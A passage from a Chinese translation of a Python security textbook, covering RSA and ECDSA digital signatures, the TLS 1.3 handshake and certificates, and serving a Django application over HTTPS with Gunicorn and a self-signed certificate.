数字签名是与消息一起公开传输的;它不是一个秘密。有些程序员很难接受这一点。在一定程度上这是可以理解的:签名是密文,攻击者可以很容易地使用公钥解密它。请记住,尽管密文通常是隐藏的,但数字签名是一个例外。数字签名的目标是确保不可否认性,而不是保密性。如果攻击者解密了数字签名,他们不会获得私人信息。

5.3.2 RSA 数字签名

列表 5.5 展示了 Bob 对图 5.2 中所示想法的实现。此代码展示了如何使用 SHA-256、RSA 公钥加密以及一种名为概率签名方案(PSS)的填充方案对消息进行签名。RSAPrivateKey.sign 方法结合了这三个元素。

列表 5.5 Python 中的 RSA 数字签名

import json
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

message = b'from Bob to Alice'

padding_config = padding.PSS(                     # ❶
    mgf=padding.MGF1(hashes.SHA256()),            # ❶
    salt_length=padding.PSS.MAX_LENGTH)           # ❶

private_key = load_rsa_private_key()              # ❷
signature = private_key.sign(                     # ❸
    message,                                      # ❸
    padding_config,                               # ❸
    hashes.SHA256())                              # ❸

signed_msg = {                                    # ❹
    'message': list(message),                     # ❹
    'signature': list(signature),                 # ❹
}                                                 # ❹
outbound_msg_to_alice = json.dumps(signed_msg)    # ❹

❶ 使用 PSS 填充

❷ 使用列表 5.3 中所示的方法加载私钥

❸ 使用 SHA-256 进行签名

❹ 为 Alice 准备带有数字签名的消息

警告 RSA 数字签名和 RSA 公钥加密的填充方案不同。推荐使用 OAEP 填充进行 RSA 加密;推荐使用 PSS 填充进行 RSA 数字签名。这两种填充方案不能互换。

在接收到 Bob 的消息和签名后,但在信任消息之前,Alice 验证签名。

5.3.3 RSA 数字签名验证

在 Alice 接收到 Bob 的消息和数字签名后,她会执行三件事:

  1. 她对消息进行哈希。

  2. 她使用 Bob 的公钥解密签名。

  3. 她比较哈希值。

如果 Alice 的哈希值与解密的哈希值匹配,她就知道可以信任该消息。图 5.3 描绘了 Alice,接收方,如何实现协议的一部分。

CH05_F03_Byrne

图 5.3 Alice 接收 Bob 的消息并使用公钥解密验证他的签名。

列表 5.6 展示了 Alice 对图 5.3 中所示协议的实现。数字签名验证的所有三个步骤都委托给了 RSAPublicKey.verify。如果计算的哈希值与 Bob 解密的哈希值不匹配,verify 方法将抛出 InvalidSignature 异常。如果哈希值匹配,Alice 就知道消息没有被篡改,消息只能由拥有 Bob 的私钥的人发送,大概是 Bob。

列表 5.6 Python 中的 RSA 数字签名验证

import json
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.exceptions import InvalidSignature

def receive(inbound_msg_from_bob):
    signed_msg = json.loads(inbound_msg_from_bob)    # ❶
    message = bytes(signed_msg['message'])           # ❶
    signature = bytes(signed_msg['signature'])       # ❶

    padding_config = padding.PSS(                    # ❷
        mgf=padding.MGF1(hashes.SHA256()),           # ❷
        salt_length=padding.PSS.MAX_LENGTH)          # ❷

    private_key = load_rsa_private_key()             # ❸
    try:
        private_key.public_key().verify(             # ❹
            signature,                               # ❹
            message,                                 # ❹
            padding_config,                          # ❹
            hashes.SHA256())                         # ❹
        print('Trust message')
    except InvalidSignature:
        print('Do not trust message')

❶ 接收消息和签名

❷ 使用 PSS 填充

❸ 使用列表 5.3 中所示的方法加载私钥

❹ 将签名验证委托给 verify 方法

Charlie,第三方,可以像 Alice 一样验证消息的来源。因此,Bob 的签名确保了不可否认性。他不能否认自己是消息的发送者,除非他还声称自己的私钥已被泄露。

Eve,一个中间人,如果她试图干预协议,将会失败。她可以尝试在传输到 Alice 的过程中修改消息、签名或公钥。在这三种情况下,签名都将无法通过验证。修改消息会影响 Alice 计算的哈希值。修改签名或公钥会影响 Alice 解密的哈希值。

本节深入探讨了数字签名作为非对称加密的应用。使用 RSA 密钥对进行这样的操作是安全、可靠且经过实战检验的。不幸的是,非对称加密并不是数字签名的最佳方式。下一节将介绍一个更好的替代方案。

5.3.4 椭圆曲线数字签名

与 RSA 一样,椭圆曲线密码系统围绕密钥对的概念展开。与 RSA 密钥对一样,椭圆曲线密钥对用于签署数据和验证签名;与 RSA 密钥对不同的是,椭圆曲线密钥对不对数据进行非对称加密。换句话说,RSA 私钥解密其公钥加密的内容,反之亦然。椭圆曲线密钥对不支持这种功能。

那么,为什么有人会选择椭圆曲线而不是 RSA?椭圆曲线密钥对可能无法对数据进行非对称加密,但在签署数据方面速度更快。因此,椭圆曲线密码系统已成为数字签名的现代方法,吸引人们摆脱 RSA,降低计算成本。

RSA 并不不安全,但椭圆曲线密钥对在签署数据和验证签名方面效率更高。例如,256 位椭圆曲线密钥的强度可与 3072 位 RSA 密钥相媲美。椭圆曲线和 RSA 之间的性能对比反映了这些算法使用的基础数学模型。椭圆曲线密码系统使用椭圆曲线;RSA 数字签名使用整数因子分解。

列表 5.7 演示了 Bob 如何生成一个椭圆曲线密钥对,并使用 SHA-256 对消息进行签名。与 RSA 相比,这种方法需要更少的 CPU 周期和更少的代码行数。私钥是使用 NIST 批准的椭圆曲线 SECP384R1 或 P-384 生成的。

列表 5.7 在 Python 中椭圆曲线数字签名

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec

message = b'from Bob to Alice'

private_key = ec.generate_private_key(ec.SECP384R1(), default_backend())

signature = private_key.sign(message, ec.ECDSA(hashes.SHA256()))    # ❶

❶ 使用 SHA-256 进行签名

列表 5.8 继续上一列表 5.7,演示了 Alice 如何验证 Bob 的签名。与 RSA 一样,公钥从私钥中提取;如果签名未通过验证,verify 方法会抛出 InvalidSignature

列表 5.8 在 Python 中椭圆曲线数字签名验证

from cryptography.exceptions import InvalidSignature

public_key = private_key.public_key()   # ❶

try:
    public_key.verify(signature, message, ec.ECDSA(hashes.SHA256()))
except InvalidSignature:                # ❷
    pass                                # ❷

❶ 提取公钥

❷ 处理验证失败

有时重新对消息进行哈希是不可取的。当处理大型消息或大量消息时,通常会出现这种情况。sign 方法,针对 RSA 密钥和椭圆曲线密钥,通过让调用者负责生成哈希值来适应这些情况。这使调用者可以选择高效地对消息进行哈希或重用先前计算的哈希值。下一个列表演示了如何使用 Prehashed 实用类对大型消息进行签名。

列表 5.9 在 Python 中高效签署大型消息

import hashlib
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec, utils

large_msg = b'from Bob to Alice ...'              # ❶
sha256 = hashlib.sha256()                         # ❶
sha256.update(large_msg[:8])                      # ❶
sha256.update(large_msg[8:])                      # ❶
hash_value = sha256.digest()                      # ❶

private_key = ec.generate_private_key(ec.SECP384R1(), default_backend())

signature = private_key.sign(                     # ❷
    hash_value,                                   # ❷
    ec.ECDSA(utils.Prehashed(hashes.SHA256())))   # ❷

❶ 调用者高效地对消息进行哈希

❷ 使用 Prehashed 实用类进行签名

到目前为止,您已经掌握了散列、加密和数字签名的工作知识。您学到了以下内容:

  • 散列确保数据的完整性和数据的认证。

  • 加密确保机密性。

  • 数字签名确保不可否认。

本章介绍了cryptography包中的许多低级示例,供教学目的使用。这些低级示例为您准备了下一章我将介绍的高级解决方案,即传输层安全性所需的一切。这种网络协议将您迄今所学的关于散列、加密和数字签名的一切内容汇集在一起。

总结

  • 非对称加密算法使用不同的密钥进行加密和解密。

  • 公钥加密是解决密钥分发问题的方案。

  • RSA 密钥对是一种经典且安全的非对称加密数据的方式。

  • 数字签名保证不可否认。

  • 椭圆曲线数字签名比 RSA 数字签名更有效。

第六章:传输层安全性

本章内容包括

  • 抵制中间人攻击

  • 理解传输层安全握手

  • 构建、配置和运行 Django Web 应用程序

  • 在使用 Gunicorn 安装公钥证书

  • 使用传输层安全保护 HTTP、电子邮件和数据库流量

在之前的章节中,我向你介绍了密码学。你学到了哈希、加密和数字签名等知识。在本章中,你将学习如何使用传输层安全 (TLS),这是一种普遍的安全网络协议。该协议是数据完整性、数据认证、机密性和不可否认性的应用。

阅读完本章后,你将了解 TLS 握手和公钥证书的工作原理。你还将学会如何生成和配置 Django Web 应用程序。最后,你将学会如何使用 TLS 保护电子邮件和数据库流量。

6.1 SSL? TLS? HTTPS?

在我们深入探讨这个主题之前,让我们先确定一些词汇术语。一些程序员将SSLTLSHTTPS这些术语用来互换使用,尽管它们的含义不同。

安全套接字层 (SSL) 协议是 TLS 的不安全前身。SSL 的最新版本已经超过 20 年了。随着时间的推移,这个协议发现了许多漏洞。2015 年,IETF 废弃了它 (tools.ietf.org/html/rfc7568)。TLS 以更好的安全性和性能取代了 SSL。

SSL 已经过时,但是术语SSL遗憾地仍然存在。它在方法签名、命令行参数和模块名中保留下来;本书包含了许多例子。API 为了向后兼容性而保留了这个术语。有时,程序员在实际上指的是TLS时会提到SSL

安全超文本传输协议 (HTTPS) 简单地说就是 SSL 或 TLS 上的超文本传输协议(HTTP)。HTTP 是一种用于在互联网上传输数据(如网页、图像、视频等)的点对点协议;这在短期内不会改变。

为什么你应该在 TLS 上运行 HTTP?HTTP 是在上世纪 80 年代定义的,当时互联网是一个更小、更安全的地方。从设计上来看,HTTP 不提供任何安全性;对话不是机密的,也没有任何一方经过身份验证。在下一节中,你将了解一类旨在利用 HTTP 限制的攻击。

6.2 中间人攻击

中间人攻击 (MITM) 是一种经典攻击。攻击者首先控制两个易受攻击的方之间的位置。这个位置可以是一个网络段或一个中间系统。攻击者可以利用他们的位置发起以下任一形式的中间人攻击:

  • 被动中间人攻击

  • 主动中间人攻击

假设伊夫,一个窃听者,在未经授权的情况下,获得了鲍勃的无线网络的访问权限后,发动了被动中间人攻击。鲍勃向 bank.alice.com 发送 HTTP 请求,bank.alice.com 向鲍勃发送 HTTP 响应。与此同时,伊夫,未经鲍勃和艾丽斯知情,被动拦截每个请求和响应。这使伊夫能够访问鲍勃的密码和个人信息。图 6.1 说明了被动中间人攻击。

TLS 无法保护鲍勃的无线网络。然而,它可以提供保密性——阻止伊夫以有意义的方式阅读对话。TLS 通过加密鲍勃和艾丽斯之间的对话来实现这一点。

CH06_F01_Byrne

图 6.1 伊夫通过 HTTP 进行被动中间人攻击。

现在假设伊夫在未经授权的情况下获得了位于鲍勃和 bank.alice.com 之间的中间网络设备的访问权限后,发动了主动中间人攻击。伊夫可以监听或甚至修改对话。利用这个位置,伊夫可以欺骗鲍勃和艾丽斯,使他们相信她是另一位参与者。通过欺骗鲍勃认为她是艾丽斯,以及欺骗艾丽斯认为她是鲍勃,伊夫现在可以在他们之间来回传递消息。在此过程中,伊夫修改了对话(图 6.2)。

CH06_F02_Byrne

图 6.2 伊夫通过 HTTP 进行主动中间人攻击。

TLS 无法保护位于鲍勃和艾丽斯之间的网络设备。然而,它可以防止伊夫冒充鲍勃或艾丽斯。TLS 通过认证对话来实现这一点,确保鲍勃正在直接与艾丽斯通信。如果艾丽斯和鲍勃想要安全地通信,他们需要开始使用 TLS 上的 HTTP。下一节将解释 HTTP 客户端和服务器如何建立 TLS 连接。

6.3 TLS 握手

TLS 是一种点对点的客户端/服务器协议。每个 TLS 连接都以客户端和服务器之间的握手开始。您可能已经听说过TLS 握手。实际上,并不存在一个 TLS 握手;有许多种。例如,TLS 的 1.1、1.2 和 1.3 版本都定义了不同的握手协议。即使在每个 TLS 版本中,握手也会受到客户端和服务器用于通信的算法的影响。此外,握手的许多部分,如服务器身份验证和客户端身份验证,都是可选的。

在本节中,我将介绍最常见的 TLS 握手类型:您的浏览器(客户端)与现代 Web 服务器执行的握手。此握手始终由客户端发起。客户端和服务器将使用 TLS 的 1.3 版本。版本 1.3 更快、更安全——而且,幸运的是,对您和我来说——比版本 1.2 更简单。这次握手的整个目的是执行三项任务:

  1. 密码套件协商

  2. 密钥交换

  3. 服务器身份验证

6.3.1 密码套件协商

TLS 是加密和哈希的应用。为了通信,客户端和服务器必须首先就一组称为密码套件的算法达成一致。每个密码套件定义了一个加密算法和一个哈希算法。TLS 1.3 规范定义了以下五个密码套件:

  • TLS_AES_128_CCM_8_SHA256

  • TLS_AES_128_CCM_SHA256

  • TLS_AES_128_GCM_SHA256

  • TLS_AES_256_GCM_SHA384

  • TLS_CHACHA20_POLY1305_SHA256

每个密码套件的名称由三个部分组成。第一个部分是一个常见前缀,TLS_。第二部分指定一个加密算法。最后一部分指定一个哈希算法。例如,假设客户端和服务器同意使用密码套件 TLS_AES_128_GCM_SHA256。这意味着双方同意使用 AES 以 128 位密钥在 GCM 模式下,并使用 SHA-256 进行通信。GCM 是一种以速度著称的块密码模式。除了机密性外,它还提供数据认证。图 6.3 解剖了这个密码套件的结构。

CH06_F03_Byrne

图 6.3 TLS 密码套件解剖

这五个密码套件可以简单总结为:加密使用 AES 或 ChaCha20;哈希使用 SHA-256 或 SHA-384。在前几章中,你已经了解了这四种工具。花点时间欣赏一下 TLS 1.3 相对于其前身有多简单。TLS 1.2 定义了 37 个密码套件!

请注意,这五个密码套件都使用对称加密,而不是非对称加密。AES 和 ChaCha20 受邀参加了派对;RSA 没有。TLS 通过对称加密确保机密性,因为它比非对称加密更高效,效率提高了三到四个数量级。在前一章中,你了解到对称加密的计算成本比非对称加密低。

客户端和服务器在加密对话时必须共享不仅仅是相同的密码套件,还必须共享一个密钥。

6.3.2 密钥交换

客户端和服务器必须交换一个密钥。这个密钥将与密码套件的加密算法结合使用,以确保机密性。该密钥仅限于当前对话。这样,如果密钥某种方式被泄露,损害仅限于单个对话。

TLS 密钥交换是密钥分发问题的一个例子。(你在前一章中学习过这个问题。)TLS 1.3 通过 Diffie-Hellman 方法解决了这个问题。

Diffie-Hellman 密钥交换

Diffie-HellmanDH密钥交换方法允许两个方安全地在不安全的通道上建立共享密钥。这种机制是密钥分发问题的有效解决方案。

在本节中,我使用爱丽丝、鲍勃和伊夫来引导您了解 DH 方法。代表客户端和服务器的爱丽丝和鲍勃将各自生成临时密钥对。爱丽丝和鲍勃将使用他们的密钥对作为最终共享秘密密钥的跳板。在阅读本文时,重要的是不要将中间密钥对与最终共享密钥混淆。以下是 DH 方法的简化版本:

  1. 爱丽丝和鲍勃公开同意两个参数。

  2. 爱丽丝和鲍勃各自生成一个私钥。

  3. 爱丽丝和鲍勃分别从参数和他们的私钥推导出一个公钥。

  4. 爱丽丝和鲍勃公开交换公钥。

  5. 爱丽丝和鲍勃独立计算一个共享的秘密密钥。

爱丽丝和鲍勃通过公开同意两个数字 p 和 g 开始此协议。这些数字是公开传输的。窃听者伊夫可以看到这两个数字。她不构成威胁。

爱丽丝和鲍勃分别生成私钥 a 和 b。这些数字是秘密的。爱丽丝将她的私钥隐藏起来,不让伊夫和鲍勃知道。鲍勃将他的私钥隐藏起来,不让伊夫和爱丽丝知道。

爱丽丝从 p、g 和她的私钥推导出她的公钥 A。同样,鲍勃从 p、g 和他的私钥推导出他的公钥 B。

爱丽丝和鲍勃交换他们的公钥。这些密钥是公开传输的;它们不是秘密。窃听者伊夫可以看到两个公钥。她仍然不构成威胁。

最后,爱丽丝和鲍勃使用彼此的公钥独立计算出相同的数字 K。爱丽丝和鲍勃丢弃他们的密钥对并保留 K。爱丽丝和鲍勃使用 K 加密他们余下的对话。图 6.4 说明了爱丽丝和鲍勃使用此协议达成共享密钥,即数字 14。

CH06_F04_Byrne

图 6.4 爱丽丝和鲍勃使用 Diffie-Hellman 方法独立计算出一个共享密钥,即数字 14。

在现实世界中,p、私钥和 K 要比这大得多。更大的数字使得即使伊夫窃听了整个对话,也不可能逆向工程私钥或 K。尽管伊夫知道 p、g 和两个公钥,但她唯一的选择是暴力破解。

公钥加密

许多人对握手过程中缺少公钥加密感到惊讶;它甚至不是密码套件的一部分。SSL 和较早版本的 TLS 通常使用公钥加密进行密钥交换。最终,这种解决方案并不具有良好的可扩展性。

在此期间,硬件成本的下降使得暴力破解攻击变得更便宜。为了弥补这一点,人们开始使用更大的密钥对,以保持暴力破解攻击的成本高昂。

更大的密钥对却带来了一个不幸的副作用:Web 服务器花费了不可接受的时间执行非对称加密以进行密钥交换。TLS 1.3 通过明确要求 DH 方法来解决了这个问题。

DH 方法是比使用 RSA 等密码系统产生计算开销的公钥加密更有效的解决方案,它使用模算术而不是分发密钥。这种方法实际上并不是从一方向另一方分发密钥;密钥是由双方独立创建的。公钥加密并没有死;它仍然用于身份验证。

6.3.3 服务器身份验证

密码套件协商和密钥交换是保密性的前提条件。但是,如果不验证与您交谈的人的身份,私密对话有何用?TLS 除了提供隐私外,还是一种身份验证手段。身份验证是双向的,也是可选的。对于这个握手版本(即你的浏览器和 Web 服务器之间的握手),服务器将由客户端进行验证。

服务器通过向客户端发送公钥证书来验证自身,并完成 TLS 握手。证书包含并证明了服务器的公钥的所有权。证书必须由证书颁发机构CA)创建和颁发,这是一个致力于数字认证的组织。

公钥所有者通过向 CA 发送证书签名请求CSR)申请证书。CSR 包含有关公钥所有者和公钥本身的信息。图 6.5 说明了此过程。虚线箭头表示成功的 CSR,因为 CA 向公钥所有者发放了公钥证书。实线箭头说明了证书安装到服务器上,其中它被提供给浏览器。

CH06_F05_Byrne

图 6.5 一个公钥证书被颁发给一个所有者并安装在一个服务器上。

公钥证书

公钥证书在很多方面类似于您的驾驶执照。您通过驾驶执照来识别自己;服务器通过公钥证书来识别自己。您的驾驶执照由政府机构颁发给您;证书由证书颁发机构颁发给密钥所有者。警察在信任您之前会仔细检查您的驾驶执照;浏览器(或任何其他 TLS 客户端)在信任服务器之前会仔细检查证书。您的驾驶执照确认了驾驶技能;证书确认了公钥所有权。您的驾驶执照和证书都有过期日期。

让我们解剖一个您已经使用过的网站维基百科的公钥证书。下一个清单中的 Python 脚本使用ssl模块下载维基百科的生产公钥证书。下载的证书是该脚本的输出。

代码清单 6.1 get_server_certificate.py

import ssl

address = ('wikipedia.org', 443)
certificate = ssl.get_server_certificate(address)      # ❶
print(certificate)

❶ 下载维基百科的公钥证书

使用以下命令行运行此脚本。这将下载证书并将其写入名为 wikipedia.crt 的文件:

$ python get_server_certificate.py > wikipedia.crt

公钥证书的结构由 RFC 5280 描述的安全标准 X.509 定义(tools.ietf.org/html/rfc5280)。TLS 参与者使用 X.509 以实现互操作性。服务器可以向任何客户端标识自己,客户端可以验证任何服务器的身份。

X.509 证书的解剖结构由一组常见字段组成。通过从浏览器的角度思考这些字段,您可以更加欣赏 TLS 认证。下面的 openssl 命令演示了如何以人类可读格式显示这些字段:

$ openssl x509 -in wikipedia.crt -text -noout | less

在浏览器信任服务器之前,它将解析证书并逐个检查每个字段。让我们检查一些更重要的字段:

  • 主体

  • 颁发者

  • 主体的公钥

  • 证书有效期

  • 证书颁发机构签名

每个证书都像驾驶执照一样标识所有者。证书所有者由“主体”字段指定。 “主体”字段最重要的属性是通用名称,它标识了证书允许从中提供服务的域名。

如果浏览器无法将通用名称与请求的 URL 匹配,将拒绝该证书;服务器验证和 TLS 握手将失败。下面的列表以粗体显示了维基百科公钥证书的主体字段。CN 属性指定了通用名称。

列表 6.2 Wikipedia.org 的主体字段

...
        Subject: CN=*.wikipedia.org     # ❶
        Subject Public Key Info:
...

❶ 证书所有者通用名称

每个证书都标识了颁发者,就像驾驶执照一样。颁发维基百科证书的 CA 是 Let's Encrypt。这家非营利 CA 专门提供免费的自动认证服务。下面的列表以粗体显示了维基百科公钥证书的颁发者字段。

列表 6.3 Wikipedia.org 的证书颁发者

...
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3    # ❶
        Validity
...

❶ 证书颁发者,Let's Encrypt

每个公钥证书中都嵌入了证书所有者的公钥。下一个列表展示了维基百科的公钥;这是一个 256 位的椭圆曲线公钥。你在上一章已经介绍过椭圆曲线密钥对。

列表 6.4 Wikipedia.org 的公钥

...
Subject Public Key Info:
    Public Key Algorithm: id-ecPublicKey                         # ❶
 Public-Key: (256 bit)                                    # ❷
 pub: 
 04:6a:e9:9d:aa:68:8e:18:06:f4:b3:cf:21:89:f2: # ❸
 b3:82:7c:3d:f5:2e:22:e6:86:01:e2:f3:1a:1f:9a: # ❸
 ba:22:91:fd:94:42:82:04:53:33:cc:28:75:b4:33: # ❸
 84:a9:83:ed:81:35:11:77:33:06:b0:ec:c8:cb:fa: # ❸
                a3:51:9c:ad:dc # ❸
...

❶ 椭圆曲线公钥

❷ 指定了一个 256 位的密钥

❸ 实际的公钥,已编码

每个证书都有一个有效期,就像驾驶执照一样。如果当前时间不在此时间范围内,浏览器将不信任服务器。下面的列表显示了维基百科的证书具有三个月的有效期,以粗体显示。

列表 6.5 Wikipedia.org 的证书有效期

...
Validity
    Not Before: Jan 29 22:01:08 2020 GMT
    Not After : Apr 22 22:01:08 2020 GMT
...

在每个证书的底部都有一个数字签名,由 Signature Algorithm 字段指定。(您在上一章学习了数字签名。)谁签署了什么?在这个例子中,证书颁发机构 Let’s Encrypt 签署了证书所有者的公钥——与证书中嵌入的相同的公钥。下一个清单表明 Let’s Encrypt 通过使用 SHA-256 对其进行哈希并用 RSA 私钥加密哈希值来签署了维基百科的公钥,加粗显示。(您在上一章学习了如何在 Python 中执行此操作。)

清单 6.6 维基百科.org 的证书颁发机构签名

...
Signature Algorithm: sha256WithRSAEncryption                  # ❶
    4c:a4:5c:e7:9d:fa:a0:6a:ee:8f:47:3e:e2:d7:94:86:9e:46:    # ❷
    95:21:8a:28:77:3c:19:c6:7a:25:81:ae:03:0c:54:6f:ea:52:    # ❷
    61:7d:94:c8:03:15:48:62:07:bd:e5:99:72:b1:13:2c:02:5e:    # ❷
...

❶ Let’s Encrypt 使用 SHA-256 和 RSA 进行签名。

❷ 数字签名,编码

图 6.6 展示了这个公钥证书的最重要内容。

CH06_F06_Byrne

图 6.6 维基百科.org Web 服务器向浏览器传输公钥证书。

浏览器将验证 Let’s Encrypt 的签名。如果签名未通过验证,浏览器将拒绝证书,TLS 握手将以失败结束。如果签名通过验证,浏览器将接受证书,握手将以成功结束。握手结束后,对话的其余部分将使用密码套件加密算法和共享密钥进行对称加密。

在本节中,您了解了 TLS 连接是如何建立的。一个典型的成功的 TLS 握手建立了三件事:

  1. 一个商定的密码套件

  2. 仅由客户端和服务器共享的密钥

  3. 服务器认证

在接下来的两节中,您将应用这些知识,构建、配置和运行一个 Django Web 应用程序服务器。您将通过生成和安装自己的公钥证书来保护此服务器的流量。

6.4 使用 Django 进行 HTTP

在本节中,您将学习如何构建、配置和运行一个 Django Web 应用程序。Django是一个您可能已经听说过的 Python Web 应用程序框架。我在本书的每个 Web 示例中都使用 Django。在您的虚拟环境中,运行以下命令安装 Django:

$ pipenv install django

安装完 Django 后,django-admin 脚本将会在您的 shell 路径中。这个脚本是一个管理实用程序,将生成您的 Django 项目的框架。使用以下命令启动一个简单但功能齐全的 Django 项目,命名为alice

$ django-admin startproject alice

startproject子命令将创建一个与您的项目同名的新目录。这个目录称为项目根目录。在项目根目录中有一个重要的文件名为 manage.py。这个脚本是一个特定于项目的管理实用程序。在本节的后面,您将使用它来启动您的 Django 应用程序。

在项目根目录旁边,就在 manage.py 旁边,有一个与项目根目录同名的目录。这个名称模糊的子目录称为Django 根目录。许多程序员会觉得这很令人困惑,可以理解。

在这一部分,你将使用 Django 根目录中的一个重要模块,即settings模块。这个模块是维护项目配置数值的中心位置。在本书中你会多次看到这个模块,因为我涵盖了与安全相关的许多 Django 设置。

Django 根目录还包含一个名为wsgi的模块。我稍后会介绍wsgi模块。你将使用它来在本章后面为你的 Django 应用程序提供 TLS 服务。图 6.7 展示了你项目的目录结构。

CH06_F07_Byrne

图 6.7 新 Django 项目的目录结构

注意 一些程序员对 Django 项目目录结构有着极强的意见。在本书中,所有 Django 示例都使用默认生成的项目结构。

使用以下命令运行你的 Django 服务器。从项目根目录中,使用runserver子命令运行 manage.py 脚本。命令行应该会挂起:

$ cd alice                      # ❶
$ python manage.py runserver    # ❷
...
Starting development server at http://127.0.0.1:8000/
Quit the server with CONTROL-C.

❶ 从项目根目录开始

runserver子命令应该会挂起。

将浏览器指向 http:/./localhost:8000,以验证服务器是否正常运行。你将看到一个友好的欢迎页面,类似于图 6.8 中的页面。

CH06_F08_Byrne

图 6.8 Django 新项目的欢迎页面

欢迎页面上写着:“你看到这个页面是因为 DEBUG=True。”DEBUG设置是每个 Django 项目的重要配置参数。你可能已经猜到,DEBUG设置位于settings模块中。

6.4.1 DEBUG 设置

Django 生成带有DEBUG设置为True的 settings.py。当DEBUG设置为True时,Django 显示详细的错误页面。这些错误页面中的详细信息包括关于项目目录结构、配置设置和程序状态的信息。

警告 DEBUG对开发很有帮助,但对生产环境很糟糕。这个设置提供的信息帮助你在开发中调试系统,但也会暴露攻击者可以利用来破坏系统的信息。在生产环境中始终将DEBUG设置为False

提示 在更改settings模块之前,必须重新启动服务器才能生效。要重新启动 Django,在 shell 中按下 Ctrl-C 停止服务器,然后再次使用 manage.py 脚本启动服务器。

此时,你的应用程序可以通过 HTTP 提供网页服务。如你所知,HTTP 不支持机密性或服务器身份验证。当前状态下的应用程序容易受到中间人攻击。为解决这些问题,协议必须从 HTTP 升级到 HTTPS。

像 Django 这样的应用服务器实际上并不知道或处理 HTTPS。它不托管公钥证书,也不执行 TLS 握手。在下一节中,你将学习如何通过 Django 和浏览器之间的另一个进程来处理这些责任。

6.5 使用 Gunicorn 进行 HTTPS

在本节中,您将学习如何使用 Gunicorn 托管公钥证书,Gunicorn 是 Web 服务器网关接口(WSGI)协议的纯 Python 实现。该协议由 Python 增强提案(PEP)3333 (www.python.org/dev/peps/pep-3333/) 定义,旨在将 Web 应用程序框架与 Web 服务器实现分离。

您的 Gunicorn 进程将位于您的 Web 服务器和 Django 应用程序服务器之间。图 6.9 描绘了一个 Python 应用程序堆栈,使用 NGINX Web 服务器、Gunicorn WSGI 应用程序和 Django 应用程序服务器。

CH06_F09_Byrne

图 6.9 一个常见的 Python 应用程序堆栈,使用 NGINX、Gunicorn 和 Django

在你的虚拟环境中,使用以下命令安装 Gunicorn:

$ pipenv install gunicorn

安装后,gunicorn命令将在您的 shell 路径中。此命令需要一个参数,即一个 WSGI 应用程序模块。django-admin 脚本已经为您生成了一个 WSGI 应用程序模块,位于 Django 根目录下。

在运行 Gunicorn 之前,请确保先停止正在运行的 Django 应用程序。在您的 shell 中按下 Ctrl-C 来执行此操作。接下来,从项目根目录运行以下命令,使用 Gunicorn 重新启动您的 Django 服务器。命令行应该会挂起:

$ gunicorn alice.wsgi       # ❶
[2020-08-16 11:42:20 -0700] [87321] [INFO] Starting gunicorn 20.0.4
...

❶ alice.wsgi 模块位于 alice/alice/wsgi.py。

将您的浏览器指向 http:/./localhost:8000 并刷新欢迎页面。您的应用程序现在通过 Gunicorn 提供服务,但仍在使用 HTTP。要将应用程序升级为 HTTPS,您需要安装一个公钥证书。

6.5.1 自签名的公钥证书

如其名称所示,自签名的公钥证书是一个不由 CA 颁发或签名的公钥证书。您自己制作并签名。这是朝向正确证书的一条廉价便捷的过渡。这些证书提供机密性而无需认证;它们适用于开发和测试,但不适用于生产。创建一个自签名的公钥证书大约需要 60 秒,最多需要 5 分钟让您的浏览器或操作系统信任它。

使用以下openssl命令生成一个密钥对和自签名的公钥证书。此示例生成一个椭圆曲线密钥对和一个自签名的公钥证书。证书有效期为 10 年:

$ openssl req -x509 \                                  # ❶
    -nodes -days 3650 \                                # ❷
    -newkey ec:<(openssl ecparam -name prime256v1) \   # ❸
    -keyout private_key.pem \                          # ❹
    -out certificate.pem                               # ❺

❶ 生成一个 X.509 证书

❷ 使用 10 年的有效期

❸ 生成一个椭圆曲线密钥对

❹ 将私钥写入此位置

❺ 将公钥证书写入此位置

此命令的输出会提示您输入证书主题详细信息。您是主题。指定一个通用名称为localhost,以便在本地开发中使用此证书:

Country Name (2 letter code) []:US
State or Province Name (full name) []:AK
Locality Name (eg, city) []:Anchorage
Organization Name (eg, company) []:Alice Inc.
Organizational Unit Name (eg, section) []:
Common Name (eg, fully qualified host name) []:localhost    # ❶
Email Address []:alice@alice.com

❶ 用于本地开发

在提示符处按 Ctrl-C 停止运行的 Gunicorn 实例。要安装您的证书,请使用以下命令行重新启动 Gunicorn。keyfilecertfile 参数接受分别指向您的密钥文件和证书的路径。

$ gunicorn alice.wsgi \            # ❶
    --keyfile private_key.pem \    # ❷
    --certfile certificate.pem     # ❸

❶ alice.wsgi 模块位于 alice/alice/wsgi.py。

❷ 您的私钥文件

❸ 您的公钥证书

Gunicorn 自动使用安装的证书来通过 HTTPS 而不是 HTTP 提供 Django 流量。将浏览器指向 https:/./localhost:8000 再次请求欢迎页面。这将验证您的证书安装并开始 TLS 握手。记得将 URL 方案从 http 更改为 https

当您的浏览器显示错误页面时不要感到惊讶。此错误页面将特定于您的浏览器,但根本问题相同:浏览器无法验证自签名证书的签名。您现在正在使用 HTTPS,但握手失败了。要继续,您需要让操作系统信任您的自签名证书。我无法覆盖解决此问题的每种方法,因为解决方案特定于您的操作系统。以下是在 macOS 上信任自签名证书的步骤:

  1. 打开密钥链访问,这是由 Apple 开发的密码管理实用程序。

  2. 将您的自签名证书拖到密钥链访问的证书部分。

  3. 在密钥链访问中双击证书。

  4. 展开信任部分。

  5. 在使用此证书下拉列表中,选择始终信任。

如果您使用不同的操作系统进行本地开发,我建议您搜索“如何在 <我的操作系统> 中信任自签名证书”。预计解决方案最多需要 5 分钟。与此同时,您的浏览器将继续防止中间人攻击。

浏览器会在操作系统之后信任您的自签名证书。重新启动浏览器以确保此过程快速完成。在 https:/./localhost:8000 上刷新页面以获取欢迎页面。您的应用程序现在正在使用 HTTPS,并且您的浏览器已成功完成握手!

将您的协议从 HTTP 升级到 HTTPS 是在安全方面的巨大进步。我用两件事情来结束这一节,您可以做两件事来使您的服务器更安全:

  • 禁止具有 Strict-Transport-Security 响应头的 HTTP 请求

  • 将入站 HTTP 请求重定向到 HTTPS

6.5.2 Strict-Transport-Security 响应头

